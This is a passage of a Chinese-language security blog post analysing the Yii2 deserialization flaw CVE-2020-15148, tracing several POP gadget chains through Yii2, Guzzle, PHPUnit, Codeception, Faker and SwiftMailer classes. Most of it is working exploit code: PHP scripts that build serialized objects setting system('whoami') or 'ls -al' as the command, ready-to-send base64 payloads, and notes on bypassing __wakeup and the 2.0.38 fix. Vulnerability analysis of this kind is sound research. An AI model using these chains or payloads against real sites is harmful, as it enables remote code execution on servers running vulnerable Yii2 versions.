comment">//TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo2OiJzeXN0ZW0iO3M6MjoiaWQiO3M6Njoid2hvYW1pIjt9aToxO3M6MzoicnVuIjt9fX19</span><span class="token punctuation">&#125;</span><span class="token delimiter important">?></span></span></code></pre><p>命令执行结果如下</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/Yii2%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E(CVE-2020-15148)%E5%88%86%E6%9E%90%E5%AD%A6%E4%B9%A0/image-20210511204922226.png" alt loading="lazy"></p><h4 id="POP2"><a href="#POP2" class="headerlink" title="POP2"></a>POP2</h4><p>还是从<code>yii2/db/BatchQueryResult.php</code>入手，换种思路，我们不找<code>__call</code>方法来触发，直接找<code>close</code>方法</p><p>随后我们找到一个<code>FnStream.php</code>在<code>vendor\guzzlehttp\psr7\src</code>目录下，代码如下</p><pre class="language-php" data-language="php"><code class="language-php"><span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">close</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">return</span> <span class="token function">call_user_func</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-></span><span class="token property">_fn_close</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span></code></pre><p><code>$this-&gt;_fn_close</code>可控</p><p>Exp</p><pre class="language-php" data-language="php"><code class="language-php"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span><span class="token keyword">namespace</span> <span class="token package">GuzzleHttp<span class="token punctuation">\</span>Psr7</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">class</span> <span class="token class-name-definition class-name">FnStream</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">var</span> <span class="token variable">$_fn_close</span> <span class="token operator">=</span> <span class="token string double-quoted-string">"phpinfo"</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token keyword">namespace</span> <span class="token package">yii<span class="token punctuation">\</span>db</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">use</span> <span class="token package">GuzzleHttp<span class="token punctuation">\</span>Psr7<span class="token punctuation">\</span>FnStream</span><span class="token punctuation">;</span>    <span class="token keyword">class</span> <span class="token class-name-definition class-name">BatchQueryResult</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">private</span> <span class="token variable">$_dataReader</span><span class="token punctuation">;</span>        <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">__construct</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>            <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">_dataReader</span>  <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">FnStream</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>    <span class="token variable">$b</span> <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">BatchQueryResult</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">print_r</span><span class="token punctuation">(</span><span class="token function">base64_encode</span><span class="token punctuation">(</span><span class="token function">serialize</span><span class="token punctuation">(</span><span class="token variable">$b</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token comment">//TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoyNDoiR3V6emxlSHR0cFxQc3I3XEZuU3RyZWFtIjoxOntzOjk6Il9mbl9jbG9zZSI7czo3OiJwaHBpbmZvIjt9fQ==</span><span class="token punctuation">&#125;</span></span></code></pre><p>执行效果如下：</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/Yii2%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E(CVE-2020-15148)%E5%88%86%E6%9E%90%E5%AD%A6%E4%B9%A0/image-20210513172934351.png" alt loading="lazy"></p><p>我们需要对危害进行放大，这里就需要一个执行类，拿这个<code>call_user_func</code>函数作跳板，来进行代码执行，全局搜索eval，找到一个<code>MockTrait.php</code>文件在<code>vendor\phpunit\phpunit\src\Framework\MockObject</code>下，代码如下：</p><pre class="language-php" data-language="php"><code class="language-php"><span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">generate</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span> <span class="token keyword return-type">string</span><span class="token punctuation">&#123;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token function"><span class="token punctuation">\</span>class_exists</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-></span><span class="token property">mockName</span><span class="token punctuation">,</span> <span class="token constant boolean">false</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">eval</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-></span><span class="token property">classCode</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">return</span> <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">mockName</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span></code></pre><p><code>$this-&gt;classCode</code>和<code>$this-&gt;mockName</code>都可控</p><p>于是即可构造完整的<code>pop</code>链</p><pre class="language-php" data-language="php"><code class="language-php"><span class="token class-name class-name-fully-qualified static-context">yii<span class="token punctuation">\</span>db<span class="token punctuation">\</span>BatchQueryResult</span><span class="token operator">::</span><span class="token function">__destruct</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">reset</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">close</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token class-name class-name-fully-qualified static-context">GuzzleHttp<span class="token punctuation">\</span>Psr7<span class="token punctuation">\</span>FnStream</span><span class="token operator">::</span><span class="token function">close</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token property">call_user_func</span><span class="token operator">-></span><span class="token class-name class-name-fully-qualified static-context">PHPUnit<span class="token punctuation">\</span>Framework<span class="token punctuation">\</span>MockObject<span class="token punctuation">\</span>MockTrait</span><span class="token operator">::</span><span class="token constant">generate</span><span class="token operator">-></span><span class="token function">eval</span><span class="token punctuation">(</span><span class="token punctuation">)</span></code></pre><p>Exp</p><pre class="language-php" data-language="php"><code class="language-php"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span><span class="token keyword">namespace</span> <span class="token package">PHPUnit<span class="token punctuation">\</span>Framework<span class="token punctuation">\</span>MockObject</span><span class="token punctuation">&#123;</span>    <span class="token keyword">class</span> <span class="token class-name-definition class-name">MockTrait</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">private</span> <span class="token variable">$classCode</span> <span class="token operator">=</span> <span class="token string double-quoted-string">"system('whoami');"</span><span class="token punctuation">;</span>        <span class="token keyword">private</span> <span class="token variable">$mockName</span> <span class="token operator">=</span> <span class="token string double-quoted-string">"extrader"</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token keyword">namespace</span> <span class="token package">GuzzleHttp<span class="token punctuation">\</span>Psr7</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">use</span> <span class="token package">PHPUnit<span class="token punctuation">\</span>Framework<span class="token punctuation">\</span>MockObject<span class="token punctuation">\</span>MockTrait</span><span class="token punctuation">;</span>    <span class="token keyword">class</span> <span class="token class-name-definition class-name">FnStream</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">var</span> <span class="token variable">$_fn_close</span><span class="token punctuation">;</span>        <span class="token keyword">function</span> <span class="token function-definition function">__construct</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>            <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">_fn_close</span> <span class="token operator">=</span> <span class="token keyword">array</span><span class="token punctuation">(</span>                <span class="token keyword">new</span> <span class="token class-name">MockTrait</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span>                <span class="token string single-quoted-string">'generate'</span>            <span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token keyword">namespace</span> <span class="token package">yii<span class="token punctuation">\</span>db</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">use</span> <span class="token package">GuzzleHttp<span class="token punctuation">\</span>Psr7<span class="token punctuation">\</span>FnStream</span><span class="token punctuation">;</span>    <span class="token keyword">class</span> <span class="token class-name-definition class-name">BatchQueryResult</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">private</span> <span class="token variable">$_dataReader</span><span class="token punctuation">;</span>        <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">__construct</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>            <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">_dataReader</span>  <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">FnStream</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>    <span class="token variable">$b</span> <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">BatchQueryResult</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">print_r</span><span class="token punctuation">(</span><span class="token function">base64_encode</span><span class="token punctuation">(</span><span class="token function">serialize</span><span class="token punctuation">(</span><span class="token variable">$b</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span></span></code></pre><p>然而代码并没有执行成功，看到报错信息</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/Yii2%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E(CVE-2020-15148)%E5%88%86%E6%9E%90%E5%AD%A6%E4%B9%A0/image-20210513175847226.png" alt loading="lazy"></p><p><code>__wakeup</code>方法<code>throw</code>出去了，当然<code>__wakeup</code>可绕，前提是PHP5 &lt; 5.6.25，7.x &lt; 7.0.10之前，具体绕过方法网上很多，这里不再赘述，执行效果如下</p><p>paylaod:</p><pre class="language-none"><code class="language-none">TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoyNDoiR3V6emxlSHR0cFxQc3I3XEZuU3RyZWFtIjoyOntzOjk6Il9mbl9jbG9zZSI7YToyOntpOjA7TzozODoiUEhQVW5pdFxGcmFtZXdvcmtcTW9ja09iamVjdFxNb2NrVHJhaXQiOjI6e3M6NDk6IgBQSFBVbml0XEZyYW1ld29ya1xNb2NrT2JqZWN0XE1vY2tUcmFpdABjbGFzc0NvZGUiO3M6MTc6InN5c3RlbSgnd2hvYW1pJyk7IjtzOjQ4OiIAUEhQVW5pdFxGcmFtZXdvcmtcTW9ja09iamVjdFxNb2NrVHJhaXQAbW9ja05hbWUiO3M6ODoiZXh0cmFkZXIiO31pOjE7czo4OiJnZW5lcmF0ZSI7fX19</code></pre><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/Yii2%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E(CVE-2020-15148)%E5%88%86%E6%9E%90%E5%AD%A6%E4%B9%A0/image-20210513182520433.png" alt loading="lazy"></p><p>这里就疑惑了，我这里php明明是php7.4的环境，为什么也可以绕？？？</p><p>既然<code>__wakeup</code>可绕，那<code>2.0.38</code>版本修复的方法就是加一个<code>__wakeup</code>方法，是不是也可以直接绕？在github上又把<code>2.0.38</code>版本的源码下下来，然后用构造好的绕过<code>__wakeup</code>的payload测试，直接没回显了，报错也没了，有点迷，有点迷。。。</p><h3 id="2-0-38反序列化"><a href="#2-0-38反序列化" class="headerlink" title="2.0.38反序列化"></a>2.0.38反序列化</h3><p>此处参考<a href="https://v0w.top/2020/09/22/Yii2unserialize/#0x03-%E6%96%B0%E7%89%88%E6%9C%AC2-0-38%E4%B8%8B%E7%9A%84%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96">链接</a>，师傅很强，学习了！</p><h4 id="POP3"><a href="#POP3" class="headerlink" title="POP3"></a>POP3</h4><p>利用点在<code>vendor/codeception/codeception/ext/RunProcess.php:93</code></p><p>里面有这两个方法</p><pre class="language-php" data-language="php"><code class="language-php"><span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">__destruct</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token variable">$this</span><span class="token operator">-></span><span class="token function">stopProcess</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">stopProcess</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">foreach</span> <span class="token punctuation">(</span><span class="token function">array_reverse</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-></span><span class="token property">processes</span><span class="token punctuation">)</span> <span class="token keyword">as</span> <span class="token variable">$process</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token comment">/** @var $process Process  **/</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token variable">$process</span><span class="token operator">-></span><span class="token function">isRunning</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>            <span class="token keyword">continue</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>        <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">output</span><span class="token operator">-></span><span class="token function">debug</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'[RunProcess] Stopping '</span> <span class="token operator">.</span> <span class="token variable">$process</span><span class="token operator">-></span><span class="token function">getCommandLine</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token variable">$process</span><span class="token operator">-></span><span class="token function">stop</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">processes</span> <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span></code></pre><p>对象在销毁的时候，触发<code>__destruct</code>方法，<code>__destruct</code>方法调用了<code>stopProcess</code>方法，<code>stopProcess</code>方法中的<code>$this-&gt;processes</code>可控，即<code>$process</code>也可控，<code>$process</code>会调用<code>isRunning()</code>方法，那么这里就可以尝试利用<code>__call</code>方法了，可以接着上面的<code>POP1</code>链利用</p><p>完整的<code>pop</code>链如下：</p><pre class="language-php" data-language="php"><code class="language-php"><span class="token class-name class-name-fully-qualified static-context"><span class="token punctuation">\</span>Codeception<span class="token punctuation">\</span>Extension<span class="token punctuation">\</span>RunProcess</span><span class="token operator">::</span><span class="token function">__destruct</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">stopProcess</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token variable">$process</span><span class="token operator">-></span><span class="token function">isRunning</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token class-name class-name-fully-qualified static-context">Faker<span class="token punctuation">\</span>Generator</span><span class="token operator">::</span><span class="token function">__call</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">format</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">call_user_func_array</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token class-name class-name-fully-qualified static-context"><span class="token punctuation">\</span>yii<span class="token punctuation">\</span>rest<span class="token punctuation">\</span>IndexAction</span><span class="token operator">::</span><span class="token constant">run</span><span class="token operator">-></span><span class="token function">call_user_func</span><span class="token punctuation">(</span><span class="token punctuation">)</span></code></pre><p>Exp</p><pre class="language-php" data-language="php"><code class="language-php"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span><span class="token comment">// EXP3: RunProcess -> ... -> __call()</span><span class="token keyword">namespace</span> <span class="token package">yii<span class="token punctuation">\</span>rest</span><span class="token punctuation">&#123;</span>    <span class="token keyword">class</span> <span class="token class-name-definition class-name">IndexAction</span><span class="token punctuation">&#123;</span>        <span class="token keyword">public</span> <span class="token variable">$checkAccess</span><span class="token punctuation">;</span>        <span class="token keyword">public</span> <span class="token variable">$id</span><span class="token punctuation">;</span>        <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">__construct</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>            <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">checkAccess</span> <span class="token operator">=</span> <span class="token string single-quoted-string">'system'</span><span class="token punctuation">;</span>            <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">id</span> <span class="token operator">=</span> <span class="token string single-quoted-string">'ls -al'</span><span class="token punctuation">;</span>           <span class="token comment">//command</span>            <span class="token comment">// run() -> call_user_func($this->checkAccess, $this->id);</span>        <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token keyword">namespace</span> <span class="token package">Faker</span><span class="token punctuation">&#123;</span>    <span class="token keyword">use</span> <span class="token package">yii<span class="token punctuation">\</span>rest<span class="token punctuation">\</span>IndexAction</span><span class="token punctuation">;</span>    <span class="token keyword">class</span> <span class="token class-name-definition class-name">Generator</span><span class="token punctuation">&#123;</span>        <span class="token keyword">protected</span> <span class="token variable">$formatters</span><span class="token punctuation">;</span>        <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">__construct</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>            <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">formatters</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'isRunning'</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token keyword">new</span> <span class="token class-name">IndexAction</span><span class="token punctuation">,</span> <span class="token string single-quoted-string">'run'</span><span class="token punctuation">]</span><span class="token punctuation">;</span>            <span class="token comment">//stopProcess方法里又调用了isRunning()方法: $process->isRunning()</span>        <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token keyword">namespace</span> <span class="token package">Codeception<span class="token punctuation">\</span>Extension</span><span class="token punctuation">&#123;</span>    <span class="token keyword">use</span> <span class="token package">Faker<span class="token punctuation">\</span>Generator</span><span class="token punctuation">;</span>    <span class="token keyword">class</span> <span class="token class-name-definition class-name">RunProcess</span><span class="token punctuation">&#123;</span>        <span class="token keyword">private</span> <span class="token variable">$processes</span><span class="token punctuation">;</span>        <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">__construct</span><span class="token punctuation">(</span><span class="token punctuation">)</span>        <span class="token punctuation">&#123;</span>            <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">processes</span> <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token keyword">new</span> <span class="token class-name">Generator</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">]</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token keyword">namespace</span><span class="token punctuation">&#123;</span>    <span class="token keyword">use</span> <span class="token package">Codeception<span class="token punctuation">\</span>Extension<span class="token punctuation">\</span>RunProcess</span><span class="token punctuation">;</span>    <span class="token keyword">echo</span> <span class="token function">base64_encode</span><span class="token punctuation">(</span><span class="token function">serialize</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">RunProcess</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token delimiter important">?></span></span></code></pre><p>请求结果如下，成功命令执行</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/Yii2%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E(CVE-2020-15148)%E5%88%86%E6%9E%90%E5%AD%A6%E4%B9%A0/image-20210513193606816.png" alt loading="lazy"></p><h4 id="POP4"><a href="#POP4" class="headerlink" title="POP4"></a>POP4</h4><p>利用点在<code>vendor\swiftmailer\swiftmailer\lib\classes\Swift\KeyCache\DiskKeyCache.php</code>中</p><p>主要代码如下：</p><pre class="language-php" data-language="php"><code class="language-php"><span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">__destruct</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">foreach</span> <span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-></span><span class="token property">keys</span> <span class="token keyword">as</span> <span class="token variable">$nsKey</span> <span class="token operator">=></span> <span class="token variable">$null</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token variable">$this</span><span class="token operator">-></span><span class="token function">clearAll</span><span class="token punctuation">(</span><span class="token variable">$nsKey</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">clearAll</span><span class="token punctuation">(</span><span class="token variable">$nsKey</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">array_key_exists</span><span class="token punctuation">(</span><span class="token variable">$nsKey</span><span class="token punctuation">,</span> <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">keys</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">foreach</span> <span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-></span><span class="token property">keys</span><span class="token punctuation">[</span><span class="token variable">$nsKey</span><span class="token punctuation">]</span> <span class="token keyword">as</span> <span class="token variable">$itemKey</span> <span class="token operator">=></span> <span class="token variable">$null</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>            <span class="token variable">$this</span><span class="token operator">-></span><span class="token function">clearKey</span><span class="token punctuation">(</span><span class="token variable">$nsKey</span><span class="token punctuation">,</span> <span class="token variable">$itemKey</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">is_dir</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-></span><span class="token property">path</span><span class="token operator">.</span><span class="token string single-quoted-string">'/'</span><span class="token operator">.</span><span class="token variable">$nsKey</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>            <span class="token function">rmdir</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-></span><span class="token property">path</span><span class="token operator">.</span><span class="token string single-quoted-string">'/'</span><span class="token operator">.</span><span class="token variable">$nsKey</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>        <span class="token keyword">unset</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-></span><span class="token property">keys</span><span class="token punctuation">[</span><span class="token variable">$nsKey</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">clearKey</span><span class="token punctuation">(</span><span class="token variable">$nsKey</span><span class="token punctuation">,</span> <span class="token variable">$itemKey</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-></span><span class="token function">hasKey</span><span class="token punctuation">(</span><span class="token variable">$nsKey</span><span class="token punctuation">,</span> <span class="token variable">$itemKey</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token variable">$this</span><span class="token operator">-></span><span class="token function">freeHandle</span><span class="token punctuation">(</span><span class="token variable">$nsKey</span><span class="token punctuation">,</span> <span class="token variable">$itemKey</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token function">unlink</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-></span><span class="token property">path</span><span class="token operator">.</span><span class="token string single-quoted-string">'/'</span><span class="token operator">.</span><span class="token variable">$nsKey</span><span class="token operator">.</span><span class="token string single-quoted-string">'/'</span><span class="token operator">.</span><span class="token variable">$itemKey</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span></code></pre><p><code>unlink</code>使用拼接字符串，<code>$this-&gt;path</code>可控，即可想到调用<code>__toString</code>方法（当一个对象被当做字符串使用时被调用）</p><p>全局查找<code>__toString()</code>方法，最好找一些<strong>调用其他类函数</strong>的<code>__toString</code></p><p>有如下的几个类中的<code>__toString</code>方法可用：</p><pre class="language-php" data-language="php"><code class="language-php"><span class="token class-name class-name-fully-qualified static-context"><span class="token punctuation">\</span>Codeception<span class="token punctuation">\</span>Util<span class="token punctuation">\</span>XmlBuilder</span><span class="token operator">::</span><span class="token constant">__toString</span> <span class="token operator">-></span> <span class="token class-name class-name-fully-qualified static-context"><span class="token punctuation">\</span>DOMDocument</span><span class="token operator">::</span><span class="token constant">saveXML</span> 可以触发__call方法<span class="token class-name class-name-fully-qualified static-context"><span class="token punctuation">\</span>phpDocumentor<span class="token punctuation">\</span>Reflection<span class="token punctuation">\</span>DocBlock<span class="token punctuation">\</span>Tags<span class="token punctuation">\</span>Covers</span><span class="token operator">::</span><span class="token constant">__toString</span> <span class="token operator">-></span> <span class="token property">render</span> 可以触发__call方法<span class="token class-name class-name-fully-qualified static-context"><span class="token punctuation">\</span>phpDocumentor<span class="token punctuation">\</span>Reflection<span class="token punctuation">\</span>DocBlock<span class="token punctuation">\</span>Tags<span class="token punctuation">\</span>Deprecated</span><span class="token operator">::</span><span class="token constant">__toString</span> <span class="token operator">-></span> <span class="token property">render</span> 可以触发__call方法<span class="token class-name class-name-fully-qualified static-context"><span class="token punctuation">\</span>phpDocumentor<span class="token punctuation">\</span>Reflection<span class="token punctuation">\</span>DocBlock<span class="token punctuation">\</span>Tags<span class="token punctuation">\</span>Generic</span><span class="token operator">::</span><span class="token constant">__toString</span> <span class="token operator">-></span> <span class="token property">render</span> 可以触发__call方法<span class="token class-name class-name-fully-qualified static-context"><span class="token punctuation">\</span>phpDocumentor<span class="token punctuation">\</span>Reflection<span class="token punctuation">\</span>DocBlock<span class="token punctuation">\</span>Tags<span class="token punctuation">\</span>See</span><span class="token operator">::</span><span class="token constant">__toString</span> <span class="token operator">-></span> <span class="token property">render</span>可以触发__call方法<span class="token class-name class-name-fully-qualified static-context"><span class="token punctuation">\</span>phpDocumentor<span class="token punctuation">\</span>Reflection<span class="token punctuation">\</span>DocBlock<span class="token punctuation">\</span>Tags<span class="token punctuation">\</span>Link</span><span class="token operator">::</span><span class="token constant">__toString</span> <span class="token operator">-></span> <span class="token property">render</span><span class="token operator">...</span></code></pre><p>这里以<code>\Codeception\Util\XmlBuilder::__toString</code>为例</p><pre class="language-php" data-language="php"><code class="language-php"><span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">__toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">return</span> <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">__dom__</span><span class="token operator">-></span><span class="token function">saveXML</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span></code></pre><p><code>$this-&gt;__dom__</code>可控，在调用<code>saveXML()</code>方法的时候会调用<code>__call</code>方法。</p><p>pop链如下：</p><pre class="language-php" data-language="php"><code class="language-php"><span class="token class-name class-name-fully-qualified static-context"><span class="token punctuation">\</span>Swift_KeyCache_DiskKeyCache</span><span class="token operator">::</span><span class="token constant">__destruct</span> <span class="token operator">-></span> <span class="token property">clearAll</span> <span class="token operator">-></span> <span class="token property">clearKey</span> <span class="token operator">-></span> <span class="token property">__toString</span><span class="token operator">-></span> <span class="token class-name class-name-fully-qualified static-context"><span class="token punctuation">\</span>Codeception<span class="token punctuation">\</span>Util<span class="token punctuation">\</span>XmlBuilder</span><span class="token operator">::</span><span class="token 